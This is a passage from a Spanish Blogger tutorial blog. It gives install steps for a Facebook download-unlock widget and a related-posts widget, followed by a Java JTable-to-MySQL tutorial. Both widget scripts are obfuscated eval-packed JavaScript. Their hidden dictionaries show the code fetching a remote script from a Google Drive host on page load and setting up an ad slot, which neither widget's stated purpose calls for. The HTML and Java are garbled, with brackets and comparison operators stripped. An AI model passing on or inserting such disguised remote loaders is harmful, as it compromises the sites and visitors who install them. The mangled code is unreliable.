"\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x64\x69\x76\x7C\x6A\x51\x75\x65\x72\x79\x7C\x76\x61\x72\x7C\x63\x6C\x61\x73\x73\x7C\x4F\x70\x74\x69\x6F\x6E\x73\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x73\x6C\x6F\x77\x7C\x69\x66\x7C\x69\x64\x7C\x74\x69\x65\x6D\x70\x6F\x7C\x73\x65\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x6C\x69\x7C\x70\x61\x6E\x65\x6C\x5F\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x7C\x7C\x7C\x62\x74\x6F\x5F\x73\x68\x61\x72\x65\x7C\x6E\x75\x6C\x6C\x7C\x74\x65\x78\x74\x6F\x5F\x70\x6F\x73\x74\x7C\x66\x61\x64\x65\x49\x6E\x7C\x66\x61\x6C\x73\x65\x7C\x74\x69\x6D\x65\x72\x7C\x68\x74\x6D\x6C\x7C\x73\x70\x61\x6E\x7C\x7C\x61\x64\x64\x56\x69\x6E\x63\x75\x6C\x6F\x73\x7C\x70\x61\x6E\x65\x6C\x5F\x73\x6F\x63\x69\x61\x6C\x7C\x6C\x69\x6E\x6B\x73\x5F\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x7C\x67\x65\x74\x54\x69\x74\x75\x6C\x6F\x7C\x74\x69\x74\x75\x6C\x6F\x73\x7C\x75\x72\x6C\x73\x7C\x74\x72\x75\x65\x7C\x66\x61\x64\x65\x4F\x75\x74\x7C\x63\x6F\x6D\x70\x61\x72\x74\x69\x72\x7C\x73\x6F\x63\x69\x61\x6C\x7C\x46\x61\x6E\x50\x61\x67\x65\x5F\x55\x52\x4C\x7C\x63\x6F\x75\x6E\x74\x65\x72\x7C\x6F\x6E\x6C\x6F\x61\x64\x7C\x69\x6D\x61\x67\x65\x7C\x50\x61\x73\x73\x77\x6F\x72\x64\x7C\x65\x6C\x73\x65\x7C\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65\x7C\x4E\x6F\x74\x65\x55\x73\x65\x72\x7C\x62\x74\x6F\x5F\x6C\x69\x6B\x65\x7C\x65\x72\x72\x6F\x72\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x44\x65\x74\x65\x63\x74\x61\x4C\x69\x6B\x65\x7C\x6C\x6F\x61\x64\x73\x63\x72\x69\x70\x7C\x6C\x6F\x67\x7C\x42\x6C\x6F\x67\x4E\x61\x6D\x65\x7C\x6C\x69\x6B\x65\x5F\x73\x68\x61\x72\x65\x7C\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65\x7C\x41\x63\x74\x69\x76\x65\x54\x69\x6D\x65\x72\x7C\x54\x69\x6D\x65\x72\x7C\x46\x42\x7C\x6E\x61\x6D\x65\x7C\x6D\x70\x6C\x7C\x67\x65\x74\x55\x52\x4C\x7C\x63\x6F\x6E\x73\x6F\x6C\x65\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x66\x62\x7C\x67\x65\x74\x49\x6D\x61\x67\x65\x6E\x7C\x77\x69\x6E\x64\x6F\x77\x7C\x67\x65\x54\x65\x78\x74\x6F\x50\x6F\x73\x74\x7C\x73\x6F\x6C\x6F\x5F\x69\x6D\x61\x67\x65\x6E\x7C\x32\x30\x30\x30\x7C\x73\x72\x63\x7C\x73\x75\x62\x73\x74\x72\x69\x6E\x67\x7C\x67\x65\x74\x43\x61\x72\x61\x63\x74\x65\x72\x65\x73\x7C\x6C\x69\x6B\x65\x7C\x70\x72\x65\x70\x65\x6E\x64\x7C\x73\x6F\x6C\x6F\x5F\x74\x65\x78\x74\x6F\x7C\x62\x75\x74\x74\x6F\x6E\x7C\x69\x6E\x70\x75\x74\x7C\x74\x79\x70\x65\x7C\x31\x30\x30\x30\x7C\x73\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C\x7C\x62\x75\x74\x74\x6F\x6E\x5F\x63\x6F\x75\x6E\x74\x7C\x6C\x6F\x61\x64\x65\x64\x7C\x77\x69\x64\x74\x68\x7C\x31\x32\x30\x7C\x73\x68\x6F\x77\x5F\x66\x61\x63\x65\x73\x7C\x68\x72\x65\x66\x7C\x61\x75\x74\x6F\x7C\x6C\x61\x79\x6F\x75\x74\x7C\x73\x74\x79\x6C\x65\x7C\x6D\x61\x72\x67\x69\x6E\x7C\x31\x70\x78\x7C\x73\x65\x6E\x64\x7C\x41\x79\x7C\x74\x69\x74\x75\x6C\x6F\x7C\x70\x61\x6E\x65\x6C\x5F\x44\x53\x7C\x74\x69\x74\x6C\x65\x5F\x73\x75\x70\x65\x72\x69\x6F\x72\x7C\x43\x6F\x6D\x70\x61\x72\x74\x65\x7C\x50\x6F\x73\x74\x7C\x65\x6C\x7C\x32\x30\x31\x33\x7C\x73\x65\x74\x53\x6C\x6F\x74\x7C\x73\x65\x74\x41\x6C\x74\x6F\x7C\x37\x32\x38\x7C\x39\x30\x7C\x73\x65\x74\x44\x61\x74\x65\x41\x63\x74\x69\x76\x65\x7C\x33\x31\x30\x37\x31\x36\x36\x39\x33\x31\x7C\x6A\x73\x7C\x64\x65\x73\x63\x61\x72\x67\x61\x7C\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x53\x6F\x63\x69\x61\x6C\x7C\x74\x69\x74\x6C\x65\x5F\x69\x6E\x66\x65\x72\x69\x6F\x72\x7C\x64\x61\x6E\x6F\x73\x7C\x43\x72\x65\x63\x65\x72\x7C\x70\x61\x6E\x65\x6C\x5F\x62\x74\x6F\x5F\x73\x6F\x63\x69\x61\x6C\x7C\x30\x30\x30\x31\x34\x43\x41\x7C\x43\x6F\x6D\x70\x61\x72\x74\x69\x65\x6E\x64\x6F\x6C\x6F\x7C\x64\x61\x6E\x64\x6F\x7C\x44\x65\x73\x63\x61\x72\x67\x61\x74\x65\x7C\x75\x6E\x7C\x4D\x65\x7C\x67\x75\x73\x74\x61\x7C\x62\x74\x6F\x5F\x73\x6F\x63\x69\x61\x6C\x7C\x30\x42\x32\x7C\x67\x6F\x6F\x67\x6C\x65\x64\x72\x69\x76\x65\x7C\x73\x63\x72\x69\x70\x74\x7C\x68\x65\x61\x64\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x68\x74\x74\x70\x73\x7C\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65\x7C\x61\x73\x79\x6E\x63\x7C\x70\x69\x63\x74\x75\x72\x65\x7C\x63\x61\x70\x74\x69\x6F\x6E\x7C\x32\x30\x30\x7C\x61\x6C\x7C\x65\x78\x69\x74\x6F\x7C\x73\x65\x74\x50\x61\x72\x61\x6D\x65\x74\x72\x6F\x73\x7C\x65\x71\x7C\x61\x74\x74\x72\x7C\x36\x30\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x69\x6D\x67\x7C\x74\x65\x78\x74\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x5F\x70\x6F\x73\x74\x7C\x63\x6C\x6F\x6E\x65\x7C\x74\x72\x69\x6D\x7C\x6C\x69\x6E\x6B\x7C\x66\x65\x65\x64\x7C\x68\x6F\x73\x74\x7C\x65\x73\x70\x65\x72\x61\x7C\x73\x65\x63\x73\x7C\x69\x6E\x7C\x70\x61\x73\x73\x77\x6F\x72\x64\x7C\x6C\x61\x73\x74\x49\x6E\x64\x65\x78\x4F\x66\x7C\x63\x6F\x6D\x70\x6C\x65\x74\x65\x7C\x43\x6F\x6D\x70\x61\x72\x74\x69\x72\x7C\x63\x6C\x69\x63\x6B\x7C\x78\x4D\x32\x5F\x56\x41\x6C\x63\x4F\x65\x57\x46\x52\x65\x48\x70\x6A\x52\x58\x42\x6F\x64\x32\x73\x7C\x63\x6C\x65\x61\x72\x49\x6E\x74\x65\x72\x76\x61\x6C\x7C\x73\x65\x74\x41\x6E\x63\x68\x6F\x7C\x6E\x6F\x74\x65\x5F\x75\x73\x65\x72\x7C\x65\x64\x67\x65\x7C\x63\x72\x65\x61\x74\x65\x7C\x75\x69\x7C\x6D\x65\x74\x68\x6F\x64\x7C\x73\x75\x62\x73\x63\x72\x69\x62\x65\x7C\x45\x76\x65\x6E\x74\x7C\x66\x6F\x72\x7C\x70\x61\x72\x61\x6D\x65\x74\x72\x6F\x73\x7C\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64\x7C\x63\x6F\x6D\x7C\x76\x61\x6C\x75\x65","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x2442x1,_0x2442x2,_0x2442x3,_0x2442x4,_0x2442x5,_0x2442x6){_0x2442x5=function (_0x2442x3){return (_0x2442x3_0x2442x2?_0xa847[4]:_0x2442x5(parseInt(_0x2442x3/_0x2442x2)))+((_0x2442x3=_0x2442x3%_0x2442x2)35?String[_0xa847[5(_0x2442x3+29):_0x2442x3.toString(36));} ;if(!_0xa847[4][_0xa847[6(/^/,String)){while(_0x2442x3--){_0x2442x6[_0x2442x5(_0x2442x3)]=_0x2442x4[_0x2442x3]||_0x2442x5(_0x2442x3);} ;_0x2442x4=[function (_0x2442x5){return _0x2442x6[_0x2442x5];} ];_0x2442x5=function (){return _0xa847[7];} ;_0x2442x3=1;} ;while(_0x2442x3--){if(_0x2442x4[_0x2442x3]){_0x2442x1=_0x2442x1[_0xa847[6( new RegExp(_0xa847[8]+_0x2442x5(_0x2442x3)+_0xa847[8],_0xa847[9]),_0x2442x4[_0x2442x3]);} ;} ;return _0x2442x1;} (_0xa847[0],62,178,_0xa847[3][_0xa847[2(_0xa847[1]),0,{}));

//
/script

script type='text/javascript'
//![CDATA[
DownloadSocial.parametros({

  BlogName:"Nombre de su Blog",
  FanPage_URL:"URL de su FANPAGE",
  Password:"password de sus archivos"

});

//
/script

/b:if




Usted podrá alojar el script a un servidor de archivos comoGoogle Site ,tenga en cuenta los siguiente parámetros

BlogName: el nombre de tu Blog.
FanPage_URL: la url de su fanpage.
Password: contrase de sus archivo si es que usa alguna.
NoteUser: si no usa contraseña puede utilizar este parámetro añadiendo algo para el visitante.
ActiveTimer: true para activar el temporizador si desea que aparezcan los vínculos después de 60 segundos de espera.
Timer: si desea aumentar el tiempo de espera 60 es por defecto usted puede aumentar o disminuir el tiempo de espera.

3) Añadir Condicionales Blogger
busque la siguiente lineab:includable id='post' var='post' justo debajo de ella añada lo siguiente.

b:if cond='data:blog.pageType == "item"'
  span expr:id='"u" + data:post.id' style='display:none'
data:post.body/
/span
script
setParametros("data:post.title/","data:post.url/","udata:post.id/")
/script
/b:if



4) Añadir DownloadSocial a sus entradas

terminado los pasos 1,2,3 guarde los cambios y dirigase a una entrada , dentro de la opciónHTML usted añadira los siguiente.

div class="panel_social" id="panel_social"/div
div class="panel_download" id="panel_download"
  !----
 aqui añadira sus vinculos o enlaces de descarga
 !----
/div



de esta forma usted podra conseguir mas Fans a su sitio.

Nota: usted debe decrear un APP en Facebook y luego procede a suinstalacion en Blogger



lunes, 2 de septiembre de 2013

Añade a tu blog el Bloque de entradas relacionadas Tipo Lista (Blogger)

9/02/2013
Hoy comparto con todos losBlogMaster este sencillo bloque que muestra las entradas relacionadas con un estilo tipo lista bastante atractivo que puede ser mejorado por medio de del CSS.

Instalación
1)Añadimos el CSS
nos dirigimos a laOpción Plantilla --Editar HTML dentro delEditor de Blogger haga clic dentro de el y realice la combinación de teclas CTRL-F para abrir el buscador del editor, y busque la etiqueta de cierre/b:skin y arriba de esta pegue el siguiente código CSS.

#related-posts {
float:center;
text-transform:none;
height:100%;
min-height:100%;
padding-top:5px;
padding-left:5px;
margin-top: 20px;
}
#related-posts .widget{
padding-left:6px;
margin-bottom:10px;
}
#related-posts .widget h2, #related-posts h2{
font-size:22px;
font-weight: normal;
color:#252525;
font-family: 'Montez', cursive;
margin-bottom: 0.75em;
padding-top: 0em;
}
#related-posts a{
font-size:16px;
color: #000000;
font-variant:small-caps;
}
#related-posts a:hover{
text-decoration: none;
color:#000000;
font-weight: bold;
}
#related-posts ul{
list-style-type:none;
margin:0 0 0px 0;
padding:0px;
text-decoration:none;
background-color: #FFF;
 -webkit-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 -moz-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 -ms-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 -o-box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
 box-shadow: 2px 2px 6px rgba(0,0,0,0.4);
}
#related-posts  li{
list-style-type: none;
background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyWKWvZTaJXhY0_UIGoyaRYQ0ukjdN0SIlQIIxXzkxXsAfSmXrI_L3TfPsU4s7szWd-vBt0R83qEBO2VVok14_VZPbXtbG4hSdeX3bqjY3-Iy949XMGwhBW1-DTmJz-NFHELvLYlCLLcg/s30-no/tick.png);
background-position: 13px center;
background-repeat: no-repeat;
padding: 10px 10px 10px 45px;
background-color: #EEE;
border-top: 1px solid #FFF;
border-bottom: 1px solid #DDD;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
-webkit-transition: all .2s linear;
-moz-transition: all .2s linear;
-ms-transition: all .2s linear;
 -o-transition: all .2s linear;
 transition: all .2s linear;
 -webkit-border-radius: 4px;
-moz-border-radius: 4px;
-ms-border-radius: 4px;
 -o-border-radius: 4px;
 border-radius: 4px;
}

#related-posts ul li:hover{
background-color:#e1f821;
background-position: 20px 50%;
padding-left: 55px;
}



2)Añadir el script JS(debe de tener el plugin JQuery 10.2 o 1.8.3 instalado en su Blog)
luego busque la etiqueta de cierre/head y justo arriba de el añada este script,el script si usted desea puede alojarlo enGoogle Site o cualquier servidor de archivos de su preferencia .

script type='text/javascript'
//![CDATA[
var _0xa55d=["\x33\x20\x34\x3D\x6D\x20\x6E\x28\x29\x3B\x33\x20\x71\x3D\x30\x3B\x33\x20\x35\x3D\x6D\x20\x6E\x28\x29\x3B\x31\x32\x2E\x78\x3D\x37\x28\x29\x7B\x4B\x28\x22\x31\x31\x3A\x2F\x2F\x31\x30\x2E\x59\x2F\x5A\x2F\x31\x33\x2D\x31\x34\x2F\x31\x39\x2E\x31\x38\x22\x29\x3B\x31\x37\x28\x28\x37\x28\x29\x7B\x31\x35\x28\x58\x29\x3B\x31\x61\x28\x56\x29\x3B\x4E\x28\x4F\x29\x3B\x50\x28\x27\x38\x2D\x39\x2D\x4D\x27\x29\x7D\x29\x2C\x57\x29\x7D\x3B\x37\x20\x51\x28\x79\x29\x7B\x67\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x79\x2E\x47\x2E\x63\x2E\x32\x3B\x69\x2B\x2B\x29\x7B\x33\x20\x63\x3D\x79\x2E\x47\x2E\x63\x5B\x69\x5D\x3B\x34\x5B\x71\x5D\x3D\x63\x2E\x54\x2E\x24\x74\x3B\x67\x28\x33\x20\x6B\x3D\x30\x3B\x6B\x3C\x63\x2E\x75\x2E\x32\x3B\x6B\x2B\x2B\x29\x7B\x62\x28\x63\x2E\x75\x5B\x6B\x5D\x2E\x52\x3D\x3D\x27\x53\x27\x29\x7B\x35\x5B\x71\x5D\x3D\x63\x2E\x75\x5B\x6B\x5D\x2E\x42\x3B\x71\x2B\x2B\x3B\x31\x6C\x7D\x7D\x7D\x7D\x37\x20\x31\x70\x28\x29\x7B\x33\x20\x64\x3D\x6D\x20\x6E\x28\x30\x29\x3B\x33\x20\x68\x3D\x6D\x20\x6E\x28\x30\x29\x3B\x67\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x35\x2E\x32\x3B\x69\x2B\x2B\x29\x7B\x62\x28\x21\x43\x28\x64\x2C\x35\x5B\x69\x5D\x29\x29\x7B\x64\x2E\x32\x2B\x3D\x31\x3B\x64\x5B\x64\x2E\x32\x2D\x31\x5D\x3D\x35\x5B\x69\x5D\x3B\x68\x2E\x32\x2B\x3D\x31\x3B\x68\x5B\x68\x2E\x32\x2D\x31\x5D\x3D\x34\x5B\x69\x5D\x7D\x7D\x34\x3D\x68\x3B\x35\x3D\x64\x7D\x37\x20\x43\x28\x61\x2C\x65\x29\x7B\x67\x28\x33\x20\x6A\x3D\x30\x3B\x6A\x3C\x61\x2E\x32\x3B\x6A\x2B\x2B\x29\x7B\x62\x28\x61\x5B\x6A\x5D\x3D\x3D\x65\x29\x7B\x7A\x20\x77\x7D\x7D\x3B\x7A\x20\x76\x7D\x37\x20\x31\x67\x28\x45\x29\x7B\x67\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x35\x2E\x32\x3B\x69\x2B\x2B\x29\x7B\x62\x28\x35\x5B\x69\x5D\x3D\x3D\x45\x29\x7B\x35\x2E\x6C\x28\x69\x2C\x31\x29\x3B\x34\x2E\x6C\x28\x69\x2C\x31\x29\x7D\x7D\x33\x20\x72\x3D\x48\x2E\x31\x73\x28\x28\x34\x2E\x32\x2D\x31\x29\x2A\x48\x2E\x31\x6D\x28\x29\x29\x3B\x33\x20\x69\x3D\x30\x3B\x62\x28\x34\x2E\x32\x3E\x31\x29\x7B\x66\x2E\x6F\x28\x27\x3C\x46\x3E\x27\x2B\x31\x6A\x2B\x27\x3C\x2F\x46\x3E\x27\x29\x7D\x66\x2E\x6F\x28\x27\x3C\x49\x3E\x27\x29\x3B\x31\x66\x28\x69\x3C\x34\x2E\x32\x26\x26\x69\x3C\x31\x63\x26\x26\x69\x3C\x31\x65\x29\x7B\x66\x2E\x6F\x28\x27\x3C\x44\x3E\x3C\x61\x20\x42\x3D\x22\x27\x2B\x35\x5B\x72\x5D\x2B\x27\x22\x3E\x27\x2B\x34\x5B\x72\x5D\x2B\x27\x3C\x2F\x61\x3E\x3C\x2F\x44\x3E\x27\x29\x3B\x62\x28\x72\x3C\x34\x2E\x32\x2D\x31\x29\x7B\x72\x2B\x2B\x7D\x31\x6E\x7B\x72\x3D\x30\x7D\x69\x2B\x2B\x7D\x66\x2E\x6F\x28\x27\x3C\x2F\x49\x3E\x27\x29\x3B\x35\x2E\x6C\x28\x30\x2C\x35\x2E\x32\x29\x3B\x34\x2E\x6C\x28\x30\x2C\x34\x2E\x32\x29\x7D\x37\x20\x4B\x28\x4C\x29\x7B\x33\x20\x36\x3D\x66\x2E\x31\x68\x28\x22\x31\x69\x22\x29\x2C\x70\x3D\x76\x3B\x36\x2E\x78\x3D\x36\x2E\x4A\x3D\x37\x28\x29\x7B\x62\x28\x28\x36\x2E\x41\x26\x26\x36\x2E\x41\x21\x3D\x3D\x22\x31\x64\x22\x26\x26\x36\x2E\x41\x21\x3D\x3D\x22\x70\x22\x29\x7C\x7C\x70\x29\x7B\x7A\x20\x76\x7D\x36\x2E\x78\x3D\x36\x2E\x4A\x3D\x31\x6B\x3B\x70\x3D\x77\x7D\x3B\x36\x2E\x31\x71\x3D\x77\x3B\x36\x2E\x31\x72\x3D\x4C\x3B\x33\x20\x73\x3D\x66\x2E\x31\x62\x28\x27\x31\x36\x27\x29\x5B\x30\x5D\x3B\x73\x2E\x55\x28\x36\x2C\x73\x2E\x31\x6F\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x76\x61\x72\x7C\x72\x65\x6C\x61\x74\x65\x64\x54\x69\x74\x6C\x65\x73\x7C\x72\x65\x6C\x61\x74\x65\x64\x55\x72\x6C\x73\x7C\x65\x6C\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x7C\x7C\x7C\x69\x66\x7C\x65\x6E\x74\x72\x79\x7C\x74\x6D\x70\x7C\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x66\x6F\x72\x7C\x74\x6D\x70\x32\x7C\x7C\x7C\x7C\x73\x70\x6C\x69\x63\x65\x7C\x6E\x65\x77\x7C\x41\x72\x72\x61\x79\x7C\x77\x72\x69\x74\x65\x7C\x6C\x6F\x61\x64\x65\x64\x7C\x72\x65\x6C\x61\x74\x65\x64\x54\x69\x74\x6C\x65\x73\x4E\x75\x6D\x7C\x7C\x68\x68\x65\x61\x64\x7C\x7C\x6C\x69\x6E\x6B\x7C\x66\x61\x6C\x73\x65\x7C\x74\x72\x75\x65\x7C\x6F\x6E\x6C\x6F\x61\x64\x7C\x6A\x73\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65\x7C\x68\x72\x65\x66\x7C\x63\x6F\x6E\x74\x61\x69\x6E\x73\x7C\x6C\x69\x7C\x63\x75\x72\x72\x65\x6E\x74\x75\x72\x6C\x7C\x68\x32\x7C\x66\x65\x65\x64\x7C\x4D\x61\x74\x68\x7C\x75\x6C\x7C\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65\x7C\x6C\x6F\x61\x64\x73\x63\x72\x69\x70\x7C\x70\x61\x74\x68\x7C\x32\x30\x31\x33\x7C\x73\x65\x74\x41\x6C\x74\x6F\x7C\x39\x30\x7C\x73\x65\x74\x44\x61\x74\x65\x41\x63\x74\x69\x76\x65\x7C\x72\x65\x6C\x61\x74\x65\x64\x5F\x72\x65\x73\x75\x6C\x74\x73\x5F\x6C\x61\x62\x65\x6C\x73\x7C\x72\x65\x6C\x7C\x61\x6C\x74\x65\x72\x6E\x61\x74\x65\x7C\x74\x69\x74\x6C\x65\x7C\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65\x7C\x37\x32\x38\x7C\x32\x65\x33\x7C\x33\x31\x30\x37\x31\x36\x36\x39\x33\x31\x7C\x63\x6F\x6D\x7C\x68\x6F\x73\x74\x7C\x67\x6F\x6F\x67\x6C\x65\x64\x72\x69\x76\x65\x7C\x68\x74\x74\x70\x73\x7C\x77\x69\x6E\x64\x6F\x77\x7C\x30\x42\x32\x7C\x78\x4D\x32\x5F\x56\x41\x6C\x63\x4F\x65\x57\x46\x52\x65\x48\x70\x6A\x52\x58\x42\x6F\x64\x32\x73\x7C\x73\x65\x74\x53\x6C\x6F\x74\x7C\x68\x65\x61\x64\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x6A\x73\x7C\x30\x30\x30\x31\x34\x43\x41\x7C\x73\x65\x74\x41\x6E\x63\x68\x6F\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x32\x30\x7C\x63\x6F\x6D\x70\x6C\x65\x74\x65\x7C\x6D\x61\x78\x72\x65\x73\x75\x6C\x74\x73\x7C\x77\x68\x69\x6C\x65\x7C\x65\x74\x69\x71\x75\x65\x74\x61\x73\x52\x65\x6C\x61\x63\x69\x6F\x6E\x61\x64\x61\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x73\x63\x72\x69\x70\x74\x7C\x74\x69\x74\x75\x6C\x6F\x70\x6F\x73\x74\x7C\x6E\x75\x6C\x6C\x7C\x62\x72\x65\x61\x6B\x7C\x72\x61\x6E\x64\x6F\x6D\x7C\x65\x6C\x73\x65\x7C\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64\x7C\x72\x65\x6D\x75\x65\x76\x65\x72\x65\x70\x65\x74\x69\x64\x6F\x73\x7C\x61\x73\x79\x6E\x63\x7C\x73\x72\x63\x7C\x66\x6C\x6F\x6F\x72","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x97cex1,_0x97cex2,_0x97cex3,_0x97cex4,_0x97cex5,_0x97cex6){_0x97cex5=function (_0x97cex3){return (_0x97cex3_0x97cex2?_0xa55d[4]:_0x97cex5(parseInt(_0x97cex3/_0x97cex2)))+((_0x97cex3=_0x97cex3%_0x97cex2)35?String[_0xa55d[5(_0x97cex3+29):_0x97cex3.toString(36));} ;if(!_0xa55d[4][_0xa55d[6(/^/,String)){while(_0x97cex3--){_0x97cex6[_0x97cex5(_0x97cex3)]=_0x97cex4[_0x97cex3]||_0x97cex5(_0x97cex3);} ;_0x97cex4=[function (_0x97cex5){return _0x97cex6[_0x97cex5];} ];_0x97cex5=function (){return _0xa55d[7];} ;_0x97cex3=1;} ;while(_0x97cex3--){if(_0x97cex4[_0x97cex3]){_0x97cex1=_0x97cex1[_0xa55d[6( new RegExp(_0xa55d[8]+_0x97cex5(_0x97cex3)+_0xa55d[8],_0xa55d[9]),_0x97cex4[_0x97cex3]);} ;} ;return _0x97cex1;} (_0xa55d[0],62,91,_0xa55d[3][_0xa55d[2(_0xa55d[1]),0,{}));
//
/script



3)Añadir las Condicionales Blogger
Busque la etiqueta de cierredata:post.body/ y justo debajo de esta pegue el siguiente código, tenga en cuenta que todas las plantillas no son iguales por lo que pueden existir varias etiquetas deberá de realizar varias pruebas con el código que va a insertar a continuación.

b:if cond='data:blog.pageType == "item"'
div id='related-posts' b:loop values='data:post.labels' var='label' 
b:if cond='data:label.isLast != "true"' /b:if 
b:if cond='data:blog.pageType == "item"'
 script expr:src='"/feeds/posts/default/-/" + data:label.name + "?alt=json-in-script&callback=related_results_labels&max-results=6"' type='text/javascript'/
/b:if
/b:loop
script type='text/javascript'
 var maxresults=5;
 remueverepetidos();
 etiquetasRelacionada("data:post.url/"); 
/script 
/div 
/b:if



Guarde los cambios y revise que el bloque aparezca con los títulos de las entradas.

Parámetros
maxresults=5; (es el numero de post relacionados a mostrar si usted desea puede aumentar el numero)




martes, 27 de agosto de 2013

Extrae todos los datos de un JTable y guardalos todos en una Tabla MYSQL al mismo tiempo en java

8/27/2013

Mas de una ocasión me han preguntado como extraer todos los datos de un JTable y guardar esos datos en una Tabla MySql ,así que para cumplir con esas dudas hoy les enseño como.

Primero que debemos de hacer?
primero que todo tengo que extraer todos los datos insertados en el JTable y almacenar estos datos en un Array en este caso voy a utilizar unArrayListStringque es ideal y mucho mas fácil manejar.
ante que todo tengo que saber cuantasFilas yColumnas tiene el JTable para esto existen los metodos:getRowCount()método que me retorna el numero de filas existente ygetColumnCount() que me retorna el numero de columnas con estos métodos formare dos buclesfor asi podre recorrer filas y columnas por medio del métodogetValueAt(filas ,columnas) que me recibe el numero de filas y el numero de columnas y que me retornara todos los datos que se han recorrido.


for(int i=0; itabla.getRowCount(); i++) //recorro las filas
  {
   for(int a=0; atabla.getColumnCount(); a++) //recorro las columnas
   {
    full_datos.add(modelo.getValueAt(i ,a).toString()); 
   }
  }


de esta forma tendré almacenado todos los datos dentro delArrayList.este ArrayList tendremos que pasarle los valores a unIterator para luego recorrer los valores y ser almacenados dentro de un vector estos valores tendrán que ser cortados por un control que que hace referencia al numero de columnas de la tabla en MySql0,1,2 una vez que añadimos los valores al Vector tendré que eliminar esos valores delIterator ,y luego procedemos alamacenar los valores del vector a la Tabla MySqlFila porFila
 Vector datosGuardar=new Vector(1);
      int cont=-1;
   IteratorString nombreIterator = full_datos.iterator();
   while(nombreIterator.hasNext()){
    cont++;
    String elemento = nombreIterator.next();
    if(cont=2){
     datosGuardar.addElement(elemento);
     nombreIterator.remove();
    }
   
  }





Ahora necesito verificar la existencia de datos en la Tabla donde tengo que insertar los datos del JTable
esto lo hago con el fin de saber el numero de registros que existen en la Tabla de la base de datos estos deben ser igual al numero de registros del JTable .

try {
    ResultSet rs=ConexionBD.Consulta("SELECT * FROM masi_produc");
    if(rs.next()){
     
      int num_filas= ConexionBD.CuantasFilas("masi_produc");
      
      if(num_filas==filas){
       hay_datos=false;
      }
      else{
 
       GuardarDatos(columnas);
       
      }
      num_datos.setText(num_filas+" de "+filas+" Datos");
        
      
    }
    else{
     GuardarDatos(columnas);
    }
    
   } catch (SQLException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
   }



como podrá ver formo una consulta simple para determinar si existen datos, si no existen o la tabla esta vacía elResultSet.next() me retornara un valorbooleano falso es ay donde insertamos la primera linea proveniente del método GuardarDatos(columnas); , y si existieran datos elResultSet.next() nos retornara el valorbooleano true aquí es donde utilizamos el métodoCuantasFilas(campo) de la claseConexionBD este método me recibe el nombre de la tabla MySql donde voy a guardar los datos y me retorna el numero de filas que posee esa tabla, y cuando el numero de filas sea igual al numero de filas del JTable este dara paso a una variable booleanaque detendra el HILO que llama a este proceso.


public void run()
 {
  
     while(main.hay_datos){
      
      main.VerificarDatos();
     }
  
 }



les dejo el codigo fuente completo mas la base de datos .


DESCARGAR




lunes, 26 de agosto de 2013

Mostrar varias imágenes con controles anterior y siguiente (Carrousel simple) con jQuery

8/26/2013

Hace poco me pidieron realizar un ejemplo sencillo sobre un carrousel simple con jQuery ,este carrousel muestra imágenes por medio de dos controlesAnterior ySiguiente puede ser útil no solo para mostrar imágenes si no cualquier uso que le demos como por ejemplo: mostrar formularios para un registro o cual quier otro uso.
aquí puedes ver un demo de ello ↓↓



Como lo hacemos?
primero debemos de estructurar nuestro carrousel ya sea el uso que le demos las partes o contenedores que necesitamos son la cabecera (header)en donde tengo los nombres de las imágenes y la parte central que son todassection son los contenedores de las imágenes cada una con un ID diferente.
ahora por medio de jQuery necesito extraer cuantos contenedoressection tengo, para eso le digo alselect de jQuery que me busque en el contenedor cuyo ID escont_paneles y añadiendo el signo de mayor que"" yel elementosection elselect nos retornara un array con todos los elementos encontrados.

var section = jQuery('#cont_panelessection');


